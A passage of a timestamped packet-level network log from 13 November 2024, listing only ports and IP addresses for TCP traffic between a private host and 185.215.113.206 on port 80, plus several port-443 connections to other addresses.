Nov 13, 2024 18:08:35.388720989 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388736010 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388746977 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.388746977 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.388751030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388765097 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388778925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388794899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388797998 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.388797998 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.388809919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388824940 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388839006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388839006 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.388839006 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.388853073 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388870001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388886929 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388890982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.388890982 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.388906956 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.388942957 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.388942957 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.389508009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.389523029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.389537096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.389573097 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.389573097 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.393300056 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.396868944 CET	443	49932	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:35.397476912 CET	443	49932	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:35.397588015 CET	49932	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:35.405339956 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.409521103 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.409539938 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.410152912 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.410166979 CET	443	49937	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.410321951 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.410346985 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.410608053 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.410623074 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.410841942 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.410907984 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.412204027 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.412286043 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.414016008 CET	443	49937	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.414097071 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.414103031 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.414220095 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.417510033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.417568922 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419382095 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419384003 CET	49933	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.419393063 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.419398069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419414043 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419425964 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419436932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419447899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419459105 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419470072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419481039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419486046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419486046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419492006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419502020 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419513941 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419523954 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419526100 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419526100 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419536114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419548035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419553995 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419563055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419574022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419575930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419591904 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419594049 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419604063 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419614077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419625998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419636011 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419636011 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419636965 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419647932 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419658899 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419671059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419681072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419691086 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419691086 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419692039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419704914 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419714928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419727087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419728041 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419728041 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419739008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419750929 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419763088 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419774055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419783115 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419783115 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419785976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419796944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419810057 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419822931 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419827938 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419827938 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419835091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419847012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419859886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419868946 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419868946 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419872046 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419883013 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419894934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419899940 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419907093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419918060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419929028 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419940948 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.419940948 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419940948 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419991016 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.419991016 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.420566082 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.421627045 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.421716928 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.422472954 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.422640085 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.423969984 CET	49953	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.424000978 CET	443	49953	23.198.7.164	192.168.2.6
Nov 13, 2024 18:08:35.424693108 CET	49953	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.425052881 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.425255060 CET	443	49937	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.425671101 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.425898075 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.427891970 CET	49933	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.428009987 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.430821896 CET	443	49938	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.430845022 CET	49953	443	192.168.2.6	23.198.7.164
Nov 13, 2024 18:08:35.430865049 CET	443	49953	23.198.7.164	192.168.2.6
Nov 13, 2024 18:08:35.431965113 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.431974888 CET	443	49934	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.432018042 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.432028055 CET	443	49935	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.432218075 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.432238102 CET	443	49937	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.432293892 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.432316065 CET	443	49936	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.432409048 CET	49933	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.436783075 CET	49932	443	192.168.2.6	108.156.211.71
Nov 13, 2024 18:08:35.436801910 CET	443	49932	108.156.211.71	192.168.2.6
Nov 13, 2024 18:08:35.464647055 CET	443	49939	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:35.477861881 CET	49934	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.477864981 CET	49938	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:35.477921963 CET	49937	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.478107929 CET	49936	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.478292942 CET	49935	443	192.168.2.6	13.107.246.57
Nov 13, 2024 18:08:35.479334116 CET	443	49933	13.107.246.57	192.168.2.6
Nov 13, 2024 18:08:35.481493950 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.483378887 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.483403921 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.483805895 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.484246969 CET	443	49919	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:35.485747099 CET	49919	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:35.485857010 CET	443	49919	20.189.173.9	192.168.2.6
Nov 13, 2024 18:08:35.485922098 CET	49919	443	192.168.2.6	20.189.173.9
Nov 13, 2024 18:08:35.486991882 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.487072945 CET	443	49940	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.487426043 CET	49940	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.487694979 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.489964008 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.489979982 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.490335941 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.490695000 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.490760088 CET	443	49941	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:35.490811110 CET	49941	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:35.493879080 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.493933916 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.493948936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.493993044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494034052 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494421005 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494477987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494636059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494648933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494661093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494673014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494692087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494704008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494707108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494707108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494716883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494769096 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494769096 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494786978 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494797945 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494837046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494874001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494885921 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494896889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494909048 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494919062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494930029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494940996 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494949102 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494949102 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494952917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494963884 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.494991064 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.494991064 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495116949 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495122910 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495134115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495145082 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495160103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495171070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495182991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495193005 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495203018 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495203018 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495230913 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495230913 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495280027 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495297909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495311022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495327950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495331049 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495331049 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495347977 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495373964 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495484114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495496035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495507002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495518923 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495529890 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495541096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495553970 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495553970 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495553970 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495563984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495575905 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495588064 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495599031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495603085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495603085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495642900 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495642900 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495870113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495882034 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495893002 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.495934010 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.495934010 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496002913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496016026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496025085 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496037006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496045113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496049881 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496061087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496071100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496074915 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496083975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496095896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496107101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496108055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496108055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496119022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496144056 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496208906 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496237993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496249914 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496259928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496279955 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496288061 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496292114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496304035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496340990 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496480942 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496493101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496503115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496515036 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496520042 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496520042 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496526003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496556997 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496570110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.496948957 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496959925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.496987104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497021914 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497034073 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497242928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497253895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497266054 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497307062 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497307062 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497381926 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497446060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497461081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497464895 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497486115 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497498035 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497503042 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497503042 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497526884 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497575045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497611046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497611046 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497627974 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497638941 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497668028 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497704029 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497818947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497858047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497869968 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.497894049 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.497894049 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.498033047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498044014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498054981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498068094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498076916 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.498076916 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.498119116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498131037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498141050 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498152971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498164892 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.498164892 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498164892 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.498177052 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498184919 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.498194933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498215914 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.498240948 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:35.498918056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498929024 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:35.498940945 CET	80	49864	185.215.113.206	192.168.2.6
